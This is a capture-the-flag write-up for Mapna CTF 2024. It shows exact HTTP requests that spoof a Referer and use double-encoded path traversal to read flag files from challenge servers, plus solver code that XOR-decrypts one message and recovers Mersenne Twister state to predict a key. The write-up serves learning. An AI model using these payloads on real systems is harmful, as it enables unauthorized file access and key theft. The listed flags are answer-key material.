Mapna CTF 2024
Web
Flag Holding
The flag can be found by modifying the GET request as follow:
Host: 18.184.219.56:8080
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.6045.199 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://flagland.internal/
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
Connection: close
FLAG: MAPNA{533m5-l1k3-y0u-kn0w-h77p-1836a2f}
Novel Reader
There is a path traversal vulnerability which can be used to retrieve the 1st flag. Only checking the path name is starting with ‘public’ is not sufficient to prevent path traversal:
if(not name.startswith('public/')):
return {'success': False, 'msg': 'You can only read public novels!'}, 400
In order to trigger the path traversal, double encoding of ../
is needed.
GET /api/read/public/%252e%252e%252f%252e%252e%252fflag.txt HTTP/1.1
Host: 3.64.250.135:9000
FLAG: MAPNA{uhhh-1-7h1nk-1-f0r607-70-ch3ck-cr3d17>0-4b331d4b}
Novel Reader 2
The words_balance can be set to -1. Coupled with this particular implementation to read the content of the txt file,
' '.join(buf[0:session['words_balance']])
a txt file which contains more than 11 words can be read. In fact, by setting words_balance to -1, the content of a txt file can be read until its penultimate word.
Combining the words_balance value of -1, with the previous path traversal method, the 2nd flag can be retrieved.
GET /api/read/public/%252e%252e%252fprivate/A-Secret-Tale.txt HTTP/1.1
Host: 3.64.250.135:9000
FLAG: MAPNA{uhhh-y0u-607-m3-4641n-3f4b38571}
Crypto
What Next?
The encryption is obtained by XOR-ing KEY with the secret message:
c = KEY ^ m
The value of KEY and encryption result is provided in the output:
print(f'KEY = {KEY}')
print(f'enc = {enc}')
Hence, the secret message can be recovered by just XOR-ing the KEY with encryption result:
In [1]: long_to_bytes(KEY^enc)
Out[1]: b'MAPNA{R_U_MT19937_PRNG_Predictor?}'
FLAG: MAPNA{R_U_MT19937_PRNG_Predictor?}
What Next II?
From the given output, there are 79 x 256 bits of number that can be recovered, which are the result of pseudorandom generation using getrandbits(). This is equivalent to 632 x 32 bits of number, hence it can be supplied to RandCrack, and the state of Mersenne Twister matrix can be inferred, and the subsequent pseudo-randomly generated number can be guessed, and KEY can be retrieved. Below is the solver:
R=[]
Rb=[]
for i in range (1,80):
R.append(TMP[i]//i**2)
for n in R:
s = bin(n)[2:]
while(len(s) < 256):
s = '0' + s
split=[s[i:i + 32] for i in range(0, len(s), 32)]
for b in reversed(split):
Rb.append(b)
rc=RandCrack()
for i in range(624):
rc.submit(int(Rb[i],2))
rc.predict_getrandbits(256)
KEY = sum([rc.predict_getrandbits(256 >> _) ** 2 for _ in range(8)])
print(long_to_bytes(enc^KEY))
FLAG: MAPNA{4Re_y0U_MT19937_PRNG_pr3d!cT0r_R3ven9E_4057950503c1e3992}